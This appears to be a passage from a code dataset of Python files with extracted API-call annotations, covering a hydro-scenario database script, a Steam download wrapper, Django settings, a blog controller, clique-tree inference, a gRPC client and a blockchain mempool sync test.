'sessionmaker', ([], {'bind': 'engine'}), '(bind=engine)\n', (1051, 1064), False, 'from sqlalchemy.orm import mapper, sessionmaker\n'), ((388, 411), 'sqlalchemy.DateTime', 'DateTime', ([], {'timezone': '(True)'}), '(timezone=True)\n', (396, 411), False, 'from sqlalchemy import create_engine, MetaData, Table, Column, Integer, String, Text, DateTime, BigInteger\n')] |
"""
####################
Create a low hydro scenario
Date applied: 2021-07-29
Description:
This script adds a scenario to the database for low hydro power.
The worst year for hydro is 2015. As such we use those values for every year unless a plant is missing
in 2015 in which case we use the lowest value in the other years for that plant.
#################
"""
import time
from switch_model.utilities import query_yes_no, format_seconds
from switch_model.wecc.utilities import connect
import pandas as pd
raw_data_scenario = 21
all_plants_scenario = 23
worst_year = 2015
new_start_year = 2020
new_end_year = 2050
new_scenario_id = 24
new_scenario_name = "Lowest year (2015) repeated. Using EIA and AMPL Canada and Mex data."
new_scenario_description = "Lowest year (2015) repeated from 2020 to 2050, based on data from id 21 (EIA + AMPL Canada & Mex)."
def main():
db_conn = connect()
db_cursor = db_conn.cursor()
# 1. Get all the hydro plants
db_cursor.execute(
f"""
SELECT DISTINCT generation_plant_id FROM hydro_historical_monthly_capacity_factors
WHERE hydro_simple_scenario_id={all_plants_scenario};
""")
hydro_plants = pd.DataFrame(db_cursor.fetchall(), columns=["generation_plant_id"])["generation_plant_id"]
# 2. Get all the hydro flow data for the worst year
db_cursor.execute(
f"""
SELECT generation_plant_id, month, hydro_min_flow_mw, hydro_avg_flow_mw FROM hydro_historical_monthly_capacity_factors
WHERE hydro_simple_scenario_id={raw_data_scenario} and year={worst_year};
""")
worst_year_data = pd.DataFrame(db_cursor.fetchall(),
columns=["generation_plant_id", "month", "hydro_min_flow_mw", "hydro_avg_flow_mw"])
# 3. Identify plants where data is missing
missing_hydro_plants = hydro_plants[~hydro_plants.isin(worst_year_data["generation_plant_id"])].values
# 4. For each missing plant get the data for all the years
db_cursor.execute(
f"""
SELECT generation_plant_id, year, month, hydro_min_flow_mw, hydro_avg_flow_mw FROM hydro_historical_monthly_capacity_factors
WHERE hydro_simple_scenario_id={raw_data_scenario} and generation_plant_id in ({",".join(missing_hydro_plants.astype(str))});
""")
missing_plants_data = pd.DataFrame(db_cursor.fetchall(),
columns=["generation_plant_id", "year", "month", "hydro_min_flow_mw",
"hydro_avg_flow_mw"])
# 5. Pick the year with the least flow
# Aggregate by year
missing_data_by_year = missing_plants_data.groupby(["generation_plant_id", "year"], as_index=False)[
"hydro_avg_flow_mw"].mean()
# Select years where the flow is at its lowest
year_to_use = \
missing_data_by_year.loc[missing_data_by_year.groupby("generation_plant_id")["hydro_avg_flow_mw"].idxmin()][
["generation_plant_id", "year"]]
# Essentially filter missing_plants_data to only include keys from the right table, aka plants and years that are lowest
missing_plants_data = missing_plants_data.merge(
year_to_use,
on=["generation_plant_id", "year"],
how="right"
).drop("year", axis=1)
# 6. Add the missing data to our worst year data and verify we have data for all the plants
worst_year_data = pd.concat([worst_year_data, missing_plants_data])
assert all(hydro_plants.isin(worst_year_data["generation_plant_id"]))
# 7. Cross join the series with all the years from 2020 to 2050
years = pd.Series(range(new_start_year, new_end_year + 1), name="year")
worst_year_data = worst_year_data.merge(
years,
how="cross"
)
worst_year_data["hydro_simple_scenario_id"] = new_scenario_id
# 8. Complete some data checks
assert len(worst_year_data) == 12 * (new_end_year - new_start_year + 1) * len(hydro_plants)
# 9. Add data to database
print(f"hydro_simple_scenario: {new_scenario_id}")
print(f"name: {new_scenario_name}")
print(f"description: {new_scenario_description}")
print(f"Num hydro plants: {worst_year_data.generation_plant_id.nunique()}")
print(f"From year: {new_start_year}")
print(f"To year: {new_end_year}")
print(f"Example data:\n{worst_year_data.head()}")
if not query_yes_no("\nAre you sure you want to add this data to the database?", default="no"):
raise SystemExit
db_cursor.execute(
"INSERT INTO hydro_simple_scenario(hydro_simple_scenario_id, name, description) "
f"VALUES ('{new_scenario_id}','{new_scenario_name}','{new_scenario_description}')"
)
n = len(worst_year_data)
start_time = time.time()
for i, r in enumerate(worst_year_data.itertuples(index=False)):
if i !=0 and i % 1000 == 0:
print(
f"{i}/{n} inserts completed. Estimated time remaining {format_seconds((n - i) * (time.time() - start_time) / i)}")
db_cursor.execute(
f"INSERT INTO hydro_historical_monthly_capacity_factors(hydro_simple_scenario_id, generation_plant_id, year, month, hydro_min_flow_mw, hydro_avg_flow_mw) "
f"VALUES ({r.hydro_simple_scenario_id},{r.generation_plant_id},{r.year},{r.month},{r.hydro_min_flow_mw},{r.hydro_avg_flow_mw})"
)
db_conn.commit()
db_cursor.close()
db_conn.close()
print("Done.")
if __name__ == "__main__":
main()
| [
"switch_model.wecc.utilities.connect",
"switch_model.utilities.query_yes_no",
"pandas.concat",
"time.time"
] | [((886, 895), 'switch_model.wecc.utilities.connect', 'connect', ([], {}), '()\n', (893, 895), False, 'from switch_model.wecc.utilities import connect\n'), ((3373, 3422), 'pandas.concat', 'pd.concat', (['[worst_year_data, missing_plants_data]'], {}), '([worst_year_data, missing_plants_data])\n', (3382, 3422), True, 'import pandas as pd\n'), ((4704, 4715), 'time.time', 'time.time', ([], {}), '()\n', (4713, 4715), False, 'import time\n'), ((4332, 4426), 'switch_model.utilities.query_yes_no', 'query_yes_no', (['"""\nAre you sure you want to add this data to the database?"""'], {'default': '"""no"""'}), '("""\nAre you sure you want to add this data to the database?""",\n default=\'no\')\n', (4344, 4426), False, 'from switch_model.utilities import query_yes_no, format_seconds\n'), ((4936, 4947), 'time.time', 'time.time', ([], {}), '()\n', (4945, 4947), False, 'import time\n')] |
"""
Python wrapper to download steam with arguments, or a CLI
Plans to make this interactable from a web client.
-----------------
Requirements
steamcmd installed and working (Probably needs the 32 bit libraries.
see:
https://developer.valvesoftware.com/wiki/SteamCMD#Linux.2FOS_X
"""
import logging
import pprint
import subprocess
import os
import json
logger = logging.getLogger("SteamDownloader")
logger.setLevel(logging.DEBUG)
console = logging.StreamHandler()
console.setLevel(logging.DEBUG)
logger.addHandler(console)
def main():
logger.info("Starting the main programme")
args = get_arguments()
runscript_location = create_steam_runscript(args)
run_steamcmd(runscript_location)
cleanup(runscript_location)
logger.info("programme complete")
def get_arguments():
"""
Get the arguments from the command line or a CLI
Set defaults here also
"""
logger.info("Getting the arguments")
with open("~/.config/steam_credentials.json", "r") as credential_file:
credentials = json.load(credential_file)
args = {
"app_id": "271590",
"install_location": "/mnt/storage/steam/SteamLibrary/",
"platform": "windows",
"username": credentials["username"],
"password": credentials["password"]
}
logger.info("logger arguments got")
logger.debug(pprint.pformat(args))
return args
def create_steam_runscript(args):
""" Create the runscript.txt file that steamcmd uses. """
logger.info("Creating the steam runscript file")
runscript_location = "/tmp/test.txt"
script_template = (
"@ShutdownOnFailedCommand 1\n" +
"@NoPromptForPassword 1\n" +
"@sSteamCmdForcePlatformType {platform}\n" +
"login {username} {password}\n" +
"force_install_dir {install_location}\n"
"app_update {app_id} validate\n" +
"quit"
)
script = script_template.format(**args)
logger.debug("\n" + script + "\n")
script_loc = "/tmp/{app_id}.txt".format(**args)
with open(script_loc, "w") as script_file:
script_file.write(script)
logger.debug("script writen to " + script_loc)
logger.info("Steam runscript compelte")
return runscript_location
def run_steamcmd(script_location):
""" Call the steam command """
logger.info("Calling the steam command program")
logger.info("Steam command complete")
return
def cleanup(script_location):
""" Cleanup after the script """
logger.info("Cleaning up after the run")
logger.info("Cleanup complete")
return
if __name__ == "__main__":
main()
| [
"logging.getLogger",
"json.load",
"logging.StreamHandler",
"pprint.pformat"
] | [((372, 408), 'logging.getLogger', 'logging.getLogger', (['"""SteamDownloader"""'], {}), "('SteamDownloader')\n", (389, 408), False, 'import logging\n'), ((450, 473), 'logging.StreamHandler', 'logging.StreamHandler', ([], {}), '()\n', (471, 473), False, 'import logging\n'), ((1049, 1075), 'json.load', 'json.load', (['credential_file'], {}), '(credential_file)\n', (1058, 1075), False, 'import json\n'), ((1383, 1403), 'pprint.pformat', 'pprint.pformat', (['args'], {}), '(args)\n', (1397, 1403), False, 'import pprint\n')] |
# coding=utf-8
import os
from .base import *
DEBUG = True
THUMBNAIL_DEBUG = True
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'database.db'),
},
}
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
},
}
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
SOUTH_TESTS_MIGRATE = False
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'formatters': {
'verbose': {
'format': '%(asctime)s [%(process)s] [%(levelname)s] %(name)s: %(message)s',
},
'simple': {
'format': '>>> %(levelname)s %(message)s'
},
},
'handlers': {
'console':{
'level': 'DEBUG',
'class': 'logging.StreamHandler',
'formatter': 'verbose',
},
},
'loggers': {
'django.db': {
'handlers': ['console'],
'level': 'WARNING',
},
'requests': {
'handlers': ['console'],
'level': 'WARNING',
},
'': {
'handlers': ['console'],
'level': 'DEBUG',
},
},
}
try:
from debug_toolbar import VERSION
except ImportError:
pass
else:
INSTALLED_APPS += ('debug_toolbar',)
MIDDLEWARE_CLASSES += ("debug_toolbar.middleware.DebugToolbarMiddleware",)
| [
"os.path.join"
] | [((346, 377), 'os.path.join', 'os.path.join', (['BASE_DIR', '"""media"""'], {}), "(BASE_DIR, 'media')\n", (358, 377), False, 'import os\n'), ((178, 215), 'os.path.join', 'os.path.join', (['BASE_DIR', '"""database.db"""'], {}), "(BASE_DIR, 'database.db')\n", (190, 215), False, 'import os\n')] |
"""Blog Controller
Controls backend functionality of the blog, including:
* create/edit/delete blog posts
* create/edit/delete blog post comments
* like and unlike blog posts
"""
from google.appengine.ext import db
from handler import Handler
from blog_model import *
class BlogHandler(Handler):
"""Generic web handler for the blog"""
def render_post(self):
"""Render a blog post in HTML"""
self._render_text = self.content.replace('\n', '<br>')
return render_str("blog-post.html", p=self)
class BlogFront(BlogHandler):
"""Web hanlder for blog front page"""
def get(self):
"""Get blog front page"""
posts = Post.all().order('-created')
out_posts = []
for post in posts:
likes = Liked.all().filter(' post_id =', str(post.key().id()))
out_post = post
out_post.liked = False
out_post.like_cnt = 0
for like in likes:
out_post.like_cnt += 1
if self.user and like.author == self.user.name:
out_post.liked = True
out_posts.append(out_post)
self.render("blog-front.html", posts=out_posts)
class PostPage(BlogHandler):
"""Web hanlder for individual blog post"""
def get(self, post_id):
"""Get a single blog post"""
key = db.Key.from_path('Post', int(post_id), parent=blog_key())
post = db.get(key)
if not post:
self.render("404.html")
return
comments = Comment.all().filter(' post_id =', post_id).order('created')
likes = Liked.all().filter(' post_id =', post_id)
post.liked = False
post.like_cnt = 0
for like in likes:
post.like_cnt += 1
if self.user and like.author == self.user.name:
post.liked = True
self.render("blog-permalink.html", post=post, comments=comments)
class NewPost(BlogHandler):
"""Web hanlder for creating a new blog post"""
def get(self):
"""Get a web page to create a new blog post"""
if not self.user:
self.redirect('/login')
return
self.render("blog-newpost.html")
def post(self):
"""Post (i.e. publish) a new blog post"""
if not self.user:
self.redirect('/login')
return
subject = self.request.get('subject')
content = self.request.get('content')
if subject and content:
post = Post(parent=blog_key(), author=self.user.name,
subject=subject, content=content)
post.put()
self.redirect('/blog/%s' % str(post.key().id()))
else:
error = "subject and content, please!"
self.render("blog-newpost.html", subject=subject, content=content, error=error)
class EditPost(BlogHandler):
"""Web handler for editing an existing blog post"""
def get(self, post_id):
"""Get a web page for editing an existing blog post"""
if not self.user:
self.redirect('/login')
return
key = db.Key.from_path('Post', int(post_id), parent=blog_key())
post = db.get(key)
if not post:
self.render("404.html")
return
if not self.user.name == post.author:
self.redirect("/blog/%s" % str(post_id))
return
self.render("blog-editpost.html", subject=post.subject, content=post.content, post=post)
def post(self, post_id):
"""Post (i.e. publish) a new edit to an existing blog post"""
if not self.user:
self.redirect('/login')
return
key = db.Key.from_path('Post', int(post_id), parent=blog_key())
post = db.get(key)
if not post:
self.render("404.html")
return
if not self.user.name == post.author:
self.redirect("/blog/%s" % str(post_id))
return
subject = self.request.get('subject')
content = self.request.get('content')
if subject and content:
post.subject = subject
post.content = content
post.put()
self.redirect('/blog/%s' % str(post.key().id()))
else:
error = "subject and content, please!"
self.render("blog-editpost.html", subject=subject, content=content,
error=error, post=post)
class DeletePost(BlogHandler):
"""Web handler for deleting an existing blog post"""
def get(self, post_id):
"""Get the webpage in order to delete the blog post"""
if not self.user:
self.redirect('/login')
return
key = db.Key.from_path('Post', int(post_id), parent=blog_key())
post = db.get(key)
if not post:
self.render("404.html")
return
if not self.user.name == post.author:
self.redirect("/blog/%s" % str(post_id))
return
self.render("blog-deletepost.html", subject=post.subject)
def post(self, post_id):
"""Post (i.e. publish) your delete of the blog post"""
if not self.user:
self.redirect('/login')
return
key = db.Key.from_path('Post', int(post_id), parent=blog_key())
post = db.get(key)
if not post:
self.render("404.html")
return
if not self.user.name == post.author:
self.redirect("/blog/%s" % str(post_id))
return
comments = Comment.all().filter(' post_id =', post_id)
likes = Liked.all().filter(' post_id =', post_id)
subject = self.request.get('subject')
if subject and subject == post.subject:
post.delete()
for comment in comments:
comment.delete()
for like in likes:
like.delete()
self.redirect("/blog")
elif subject and subject != post.subject:
error = "Entered subject does not match the post's subject."
self.render("blog-deletepost.html", subject=post.subject,
error=error)
else:
error = "Please enter the post's subject to delete this post."
self.render("blog-deletepost.html", subject=post.subject,
error=error)
class Like(BlogHandler):
"""Web hanlder for liking a blog post"""
def get(self, post_id):
"""Like a blog post"""
if not self.user:
self.redirect("/login")
return
key = db.Key.from_path('Post', int(post_id), parent=blog_key())
post = db.get(key)
liked = Liked.all().filter(' post_id =', str(post_id))
liked = liked.filter(' author =', self.user.name).get()
if not liked and post.author != self.user.name:
liked = Liked(parent=blog_key(), post_id=str(post_id),
author=self.user.name)
liked.put()
self.redirect("/blog/%s" % str(post_id))
class UnLike(BlogHandler):
"""Web handler for unliking a blog post you previously liked"""
def get(self, post_id):
"""Unlike a blog post"""
if not self.user:
self.redirect("/login")
return
liked = Liked.all().filter(' post_id =', str(post_id))
liked = liked.filter(' author =', self.user.name).get()
if liked:
liked.delete()
self.redirect("/blog/%s" % str(post_id))
class NewComment(BlogHandler):
"""Web hanlder for creating a new comment on an existing blog post"""
def get(self, post_id):
"""Get a webpage for writing a comment under a blog post"""
if not self.user:
self.redirect('/login')
return
post_key = db.Key.from_path('Post', int(post_id), parent=blog_key())
post = db.get(post_key)
if not post:
self.render("404.html")
return
self.render("blog-newcomment.html", post=post)
def post(self, post_id):
"""Post (i.e. publish) a new comment"""
if not self.user:
self.redirect('/login')
return
post_key = db.Key.from_path('Post', int(post_id), parent=blog_key())
post = db.get(post_key)
if not post:
self.render("404.html")
return
content = self.request.get('content')
if content:
comment = Comment(parent=blog_key(), post_id=post_id,
author=self.user.name, content=content)
comment.put()
self.redirect('/blog/%s' % post_id)
else:
error = "Comment cannot be empty"
self.render("blog-newcomment.html", content=content, post=post,
error=error)
class EditComment(BlogHandler):
"""Web handler for editing an existing comment"""
def get(self, comment_id):
"""Get a web page for editing an existing comment"""
if not self.user:
self.redirect('/login')
return
key = db.Key.from_path('Comment', int(comment_id), parent=blog_key())
comment = db.get(key)
if not comment:
self.render("404.html")
return
if not self.user.name == comment.author:
self.redirect("/blog/%s" % str(comment.post_id))
return
post_key = db.Key.from_path('Post', int(comment.post_id),
parent=blog_key())
post = db.get(post_key)
self.render("blog-editcomment.html", content=comment.content,
post=post)
def post(self, comment_id):
"""Post (i.e. publish) an edit to an existing comment"""
if not self.user:
self.redirect('/login')
return
key = db.Key.from_path('Comment', int(comment_id), parent=blog_key())
comment = db.get(key)
if not comment:
self.render("404.html")
return
if not self.user.name == comment.author:
self.redirect("/blog/%s" % str(comment.post_id))
return
post_key = db.Key.from_path('Post', int(comment.post_id),
parent=blog_key())
post = db.get(post_key)
content = self.request.get('content')
if content:
comment.content = content
comment.put()
self.redirect('/blog/%s' % comment.post_id)
else:
error = "Comment cannot be empty"
self.render("blog-editcomment.html", content=content, post=post,
error=error)
class DeleteComment(BlogHandler):
"""Web hanlder for deleting an existing blog post comment"""
def get(self, comment_id):
"""Get a webpage for deleting an existing blog post comment"""
if not self.user:
self.redirect('/login')
return
key = db.Key.from_path('Comment', int(comment_id), parent=blog_key())
comment = db.get(key)
if not comment:
self.render("404.html")
return
if not self.user.name == comment.author:
self.redirect("/blog/%s" % str(comment.post_id))
return
post_key = db.Key.from_path('Post', int(comment.post_id),
parent=blog_key())
post = db.get(post_key)
self.render("blog-deletecomment.html", content=comment.content,
post=post)
def post(self, comment_id):
"""Post (i.e. publish) the deletion of an existng blog post comment"""
if not self.user:
self.redirect('/login')
return
key = db.Key.from_path('Comment', int(comment_id), parent=blog_key())
comment = db.get(key)
if not comment:
self.render("404.html")
return
if not self.user.name == comment.author:
self.redirect("/blog/%s" % str(comment.post_id))
return
post_key = db.Key.from_path('Post', int(comment.post_id),
parent=blog_key())
post = db.get(post_key)
content = self.request.get('content')
if content and content == comment.content:
comment.delete()
self.redirect("/blog/%s" % str(comment.post_id))
elif content and content != comment.content:
error = "Entered content does not match the comment's content."
self.render("blog-deletecomment.html", content=comment.content,
post=post, error=error)
else:
error = "Please enter the comment's content above to delete this comment."
self.render("blog-deletecomment.html", content=comment.content,
post=post, error=error)
| [
"google.appengine.ext.db.get"
] | [((1420, 1431), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (1426, 1431), False, 'from google.appengine.ext import db\n'), ((3194, 3205), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (3200, 3205), False, 'from google.appengine.ext import db\n'), ((3769, 3780), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (3775, 3780), False, 'from google.appengine.ext import db\n'), ((4799, 4810), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (4805, 4810), False, 'from google.appengine.ext import db\n'), ((5336, 5347), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (5342, 5347), False, 'from google.appengine.ext import db\n'), ((6679, 6690), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (6685, 6690), False, 'from google.appengine.ext import db\n'), ((7902, 7918), 'google.appengine.ext.db.get', 'db.get', (['post_key'], {}), '(post_key)\n', (7908, 7918), False, 'from google.appengine.ext import db\n'), ((8304, 8320), 'google.appengine.ext.db.get', 'db.get', (['post_key'], {}), '(post_key)\n', (8310, 8320), False, 'from google.appengine.ext import db\n'), ((9206, 9217), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (9212, 9217), False, 'from google.appengine.ext import db\n'), ((9565, 9581), 'google.appengine.ext.db.get', 'db.get', (['post_key'], {}), '(post_key)\n', (9571, 9581), False, 'from google.appengine.ext import db\n'), ((9964, 9975), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (9970, 9975), False, 'from google.appengine.ext import db\n'), ((10323, 10339), 'google.appengine.ext.db.get', 'db.get', (['post_key'], {}), '(post_key)\n', (10329, 10339), False, 'from google.appengine.ext import db\n'), ((11082, 11093), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (11088, 11093), False, 'from google.appengine.ext import db\n'), ((11441, 11457), 'google.appengine.ext.db.get', 'db.get', (['post_key'], {}), '(post_key)\n', (11447, 11457), False, 'from google.appengine.ext import db\n'), ((11856, 11867), 'google.appengine.ext.db.get', 'db.get', (['key'], {}), '(key)\n', (11862, 11867), False, 'from google.appengine.ext import db\n'), ((12215, 12231), 'google.appengine.ext.db.get', 'db.get', (['post_key'], {}), '(post_key)\n', (12221, 12231), False, 'from google.appengine.ext import db\n')] |
import logging as log
from util.table import max_projection, projection
from operator import mul
#
# Performs the max marginal operation on a clique tree, using the clique with
# index clique_id as the root
#
def max_marginal(tree, assignment):
#root = tree.cliques[clique_id]
root_id = tree.root.index
root_belief = upwards_propagate(tree, root_id)
#log.info("Final table: %s\n%s" % (root_belief.nodes, root_belief))
assignment.update(root_belief.get_map())
return
#
# Performs upwards pass from clique to parent clique. Returns message to parent
#
def upwards_propagate(tree, clique_id):
children_id = tree.get_children(clique_id)
parent = tree.get_parent_clique(clique_id)
messages = [upwards_propagate(tree, child_id) for child_id in children_id]
# Variables to retain
clique = tree.get_clique(clique_id)
sepset = clique.sepset(parent) if parent else clique.nodes
if messages:
message_table = reduce(mul,messages)
#log.info("Clique %s receiving message table:\n%s\n%s" \
# % (clique, message_table.nodes, message_table))
clique.belief = clique.potential * message_table
new_table = max_projection(clique.belief, sepset)
#log.info("Table product with itself:\n%s\n%s" % (psi.nodes, psi))
else:
new_table = max_projection(clique.potential, sepset)
#log.info("Performing upwards pass from clique %s to parent %s" \
# % (clique, parent))
#log.info("Sending message: %s\n%s" % (new_table.nodes, new_table))
return new_table
#
# Given the max marginal for x, we can find the maximizing values for y
# conditioned on the most probable assignment for x. This is known as a
# traceback procedure
#
def traceback(tree, assignment):
root = tree.root
downwards_propagate(tree, assignment, root.index)
#
# Performs downward pass from clique to its children. Assigns variables along
# the way
#
def downwards_propagate(tree, assignment, clique_id):
# Assign current clique
clique = tree.get_clique(clique_id)
table = clique.belief if clique.belief else clique.potential
maximized_potential = projection(table, assignment)
# Get MAP over current scope
cur_assignment = maximized_potential.get_map()
# Update MAP over combined scope
assignment.update(cur_assignment)
#log.info("Performing downwards pass:\n%s\n%s\n" % (clique, assignment))
# Recurse onto children in tree
for child_id in tree.children[clique_id]:
downwards_propagate(tree, assignment, child_id)
| [
"util.table.projection",
"util.table.max_projection"
] | [((2075, 2104), 'util.table.projection', 'projection', (['table', 'assignment'], {}), '(table, assignment)\n', (2085, 2104), False, 'from util.table import max_projection, projection\n'), ((1139, 1176), 'util.table.max_projection', 'max_projection', (['clique.belief', 'sepset'], {}), '(clique.belief, sepset)\n', (1153, 1176), False, 'from util.table import max_projection, projection\n'), ((1273, 1313), 'util.table.max_projection', 'max_projection', (['clique.potential', 'sepset'], {}), '(clique.potential, sepset)\n', (1287, 1313), False, 'from util.table import max_projection, projection\n')] |
#
# Copyright 2022 DMetaSoul
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import grpc
import metaspore_pb2
import metaspore_pb2_grpc
import pyarrow as pa
from pyarrow.csv import read_csv, ReadOptions, ParseOptions, ConvertOptions
column_names = []
column_types = {}
with open('schema/wdl/column_name_demo.txt', 'r') as f:
for line in f:
line = line.rstrip('\n')
column_names.append(line)
column_types[line] = pa.string()
def read_csv_as_rb(path):
return read_csv(path, ReadOptions(use_threads=False, block_size=1024 * 1024, column_names=column_names),
ParseOptions(delimiter='\t'),
ConvertOptions(column_types=column_types))
with grpc.insecure_channel('0.0.0.0:50051') as channel:
stub = metaspore_pb2_grpc.PredictStub(channel)
tb = read_csv_as_rb('data/day_0_0.001_test_head10.csv')
rbs = tb.to_batches(1024 * 1024)
print(len(rbs))
rb = rbs[0]
print(rb.to_pandas())
sink = pa.BufferOutputStream()
with pa.ipc.new_file(sink, rb.schema) as writer:
writer.write_batch(rb)
bytes = sink.getvalue().to_pybytes()
payload_map = {"_sparse": bytes, "lr_layer": bytes}
request = metaspore_pb2.PredictRequest(
model_name="wide_and_deep", payload=payload_map)
reply = stub.Predict(request)
for name in reply.payload:
print(f'reply tensor {name}, buffer len: {len(reply.payload[name])}')
print(f'payload hex: {reply.payload[name].hex()}')
with pa.BufferReader(reply.payload[name]) as reader:
tensor = pa.ipc.read_tensor(reader)
print(f'Tensor: {tensor.to_numpy()}')
| [
"pyarrow.BufferOutputStream",
"pyarrow.string",
"metaspore_pb2_grpc.PredictStub",
"pyarrow.BufferReader",
"grpc.insecure_channel",
"pyarrow.ipc.new_file",
"pyarrow.csv.ConvertOptions",
"metaspore_pb2.PredictRequest",
"pyarrow.ipc.read_tensor",
"pyarrow.csv.ReadOptions",
"pyarrow.csv.ParseOptions... | [((1214, 1252), 'grpc.insecure_channel', 'grpc.insecure_channel', (['"""0.0.0.0:50051"""'], {}), "('0.0.0.0:50051')\n", (1235, 1252), False, 'import grpc\n'), ((1276, 1315), 'metaspore_pb2_grpc.PredictStub', 'metaspore_pb2_grpc.PredictStub', (['channel'], {}), '(channel)\n', (1306, 1315), False, 'import metaspore_pb2_grpc\n'), ((1489, 1512), 'pyarrow.BufferOutputStream', 'pa.BufferOutputStream', ([], {}), '()\n', (1510, 1512), True, 'import pyarrow as pa\n'), ((1708, 1785), 'metaspore_pb2.PredictRequest', 'metaspore_pb2.PredictRequest', ([], {'model_name': '"""wide_and_deep"""', 'payload': 'payload_map'}), "(model_name='wide_and_deep', payload=payload_map)\n", (1736, 1785), False, 'import metaspore_pb2\n'), ((945, 956), 'pyarrow.string', 'pa.string', ([], {}), '()\n', (954, 956), True, 'import pyarrow as pa\n'), ((1011, 1097), 'pyarrow.csv.ReadOptions', 'ReadOptions', ([], {'use_threads': '(False)', 'block_size': '(1024 * 1024)', 'column_names': 'column_names'}), '(use_threads=False, block_size=1024 * 1024, column_names=\n column_names)\n', (1022, 1097), False, 'from pyarrow.csv import read_csv, ReadOptions, ParseOptions, ConvertOptions\n'), ((1114, 1142), 'pyarrow.csv.ParseOptions', 'ParseOptions', ([], {'delimiter': '"""\t"""'}), "(delimiter='\\t')\n", (1126, 1142), False, 'from pyarrow.csv import read_csv, ReadOptions, ParseOptions, ConvertOptions\n'), ((1164, 1205), 'pyarrow.csv.ConvertOptions', 'ConvertOptions', ([], {'column_types': 'column_types'}), '(column_types=column_types)\n', (1178, 1205), False, 'from pyarrow.csv import read_csv, ReadOptions, ParseOptions, ConvertOptions\n'), ((1522, 1554), 'pyarrow.ipc.new_file', 'pa.ipc.new_file', (['sink', 'rb.schema'], {}), '(sink, rb.schema)\n', (1537, 1554), True, 'import pyarrow as pa\n'), ((2010, 2046), 'pyarrow.BufferReader', 'pa.BufferReader', (['reply.payload[name]'], {}), '(reply.payload[name])\n', (2025, 2046), True, 'import pyarrow as pa\n'), ((2079, 2105), 'pyarrow.ipc.read_tensor', 'pa.ipc.read_tensor', (['reader'], {}), '(reader)\n', (2097, 2105), True, 'import pyarrow as pa\n')] |
import random
from hathor.crypto.util import decode_address
from hathor.graphviz import GraphvizVisualizer
from hathor.simulator import FakeConnection
from tests import unittest
from tests.utils import add_blocks_unlock_reward
class BaseHathorSyncMempoolTestCase(unittest.TestCase):
__test__ = False
def setUp(self):
super().setUp()
self.network = 'testnet'
self.manager1 = self.create_peer(self.network, unlock_wallet=True)
self.manager1.avg_time_between_blocks = 4
self.genesis = self.manager1.tx_storage.get_all_genesis()
self.genesis_blocks = [tx for tx in self.genesis if tx.is_block]
def _add_new_tx(self, address, value):
from hathor.transaction import Transaction
from hathor.wallet.base_wallet import WalletOutputInfo
outputs = []
outputs.append(
WalletOutputInfo(address=decode_address(address), value=int(value), timelock=None))
tx = self.manager1.wallet.prepare_transaction_compute_inputs(Transaction, outputs, self.manager1.tx_storage)
tx.timestamp = int(self.clock.seconds())
tx.storage = self.manager1.tx_storage
tx.weight = 10
tx.parents = self.manager1.get_new_tx_parents()
tx.resolve()
tx.verify()
self.manager1.propagate_tx(tx)
self.clock.advance(10)
return tx
def _add_new_transactions(self, num_txs):
txs = []
for _ in range(num_txs):
address = self.get_address(0)
value = random.choice([5, 10, 50, 100, 120])
tx = self._add_new_tx(address, value)
txs.append(tx)
return txs
def _add_new_block(self, propagate=True):
block = self.manager1.generate_mining_block()
self.assertTrue(block.resolve())
block.verify()
self.manager1.on_new_tx(block, propagate_to_peers=propagate)
self.clock.advance(10)
return block
def _add_new_blocks(self, num_blocks, propagate=True):
blocks = []
for _ in range(num_blocks):
blocks.append(self._add_new_block(propagate=propagate))
return blocks
def test_mempool_basic(self):
# 10 blocks
self._add_new_blocks(2)
# N blocks to unlock the reward
add_blocks_unlock_reward(self.manager1)
# 5 transactions to be confirmed by the next blocks
self._add_new_transactions(5)
# 2 more blocks
self._add_new_blocks(2)
# 30 transactions in the mempool
self._add_new_transactions(30)
debug_pdf = False
if debug_pdf:
dot1 = GraphvizVisualizer(self.manager1.tx_storage, include_verifications=True, include_funds=True).dot()
dot1.render('mempool-test')
manager2 = self.create_peer(self.network, enable_sync_v1=True)
self.assertEqual(manager2.state, manager2.NodeState.READY)
conn = FakeConnection(self.manager1, manager2)
for _ in range(1000):
if conn.is_empty():
break
conn.run_one_step(debug=True)
self.clock.advance(1)
self.assertConsensusValid(self.manager1)
self.assertConsensusValid(manager2)
self.assertConsensusEqual(self.manager1, manager2)
# 3 genesis
# 25 blocks
# Unlock reward blocks
# 8 txs
self.assertEqual(len(manager2.tx_storage._mempool_tips_index), 1)
self.assertEqual(len(self.manager1.tx_storage._mempool_tips_index), 1)
class SyncV1HathorSyncMempoolTestCase(unittest.SyncV1Params, BaseHathorSyncMempoolTestCase):
__test__ = True
class SyncV2HathorSyncMempoolTestCase(unittest.SyncV2Params, BaseHathorSyncMempoolTestCase):
__test__ = True
# sync-bridge should behave like sync-v2
class SyncBridgeHathorSyncMempoolTestCase(unittest.SyncBridgeParams, SyncV2HathorSyncMempoolTestCase):
pass
| [
"random.choice",
"hathor.crypto.util.decode_address",
"hathor.graphviz.GraphvizVisualizer",
"hathor.simulator.FakeConnection",
"tests.utils.add_blocks_unlock_reward"
